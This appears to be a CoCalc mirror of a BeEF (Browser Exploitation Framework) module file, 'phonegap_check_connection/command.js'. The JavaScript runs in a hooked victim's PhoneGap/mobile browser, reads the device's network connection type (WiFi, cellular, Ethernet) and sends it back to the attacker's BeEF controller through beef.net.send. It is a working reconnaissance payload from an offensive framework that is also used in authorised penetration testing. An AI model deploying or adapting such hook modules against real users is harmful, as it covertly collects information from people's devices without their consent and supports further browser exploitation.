Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/phonegap/phonegap_check_connection/command.js
1154 views
1
/*
2
* Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
* Browser Exploitation Framework (BeEF) - https://beefproject.com
4
* See the file 'doc/COPYING' for copying permission
5
*/
6
7
beef.execute(function() {
8
var connection_type;
9
10
getConnectionType = function() {
11
var states = {};
12
states[Connection.UNKNOWN] = 'Unknown connection';
13
states[Connection.ETHERNET] = 'Ethernet connection';
14
states[Connection.WIFI] = 'WiFi connection';
15
states[Connection.CELL_2G] = 'Cell 2G connection';
16
states[Connection.CELL_3G] = 'Cell 3G connection';
17
states[Connection.CELL_4G] = 'Cell 4G connection';
18
states[Connection.NONE] = 'No network connection';
19
return states[navigator.network.connection.type];
20
}
21
22
try {
23
connection_type = getConnectionType();
24
} catch(e) {
25
connection_type = "Unable to determine connection type."
26
}
27
28
beef.net.send("<%= @command_url %>", <%= @command_id %>, "connection_type="+connection_type);
29
});
30
31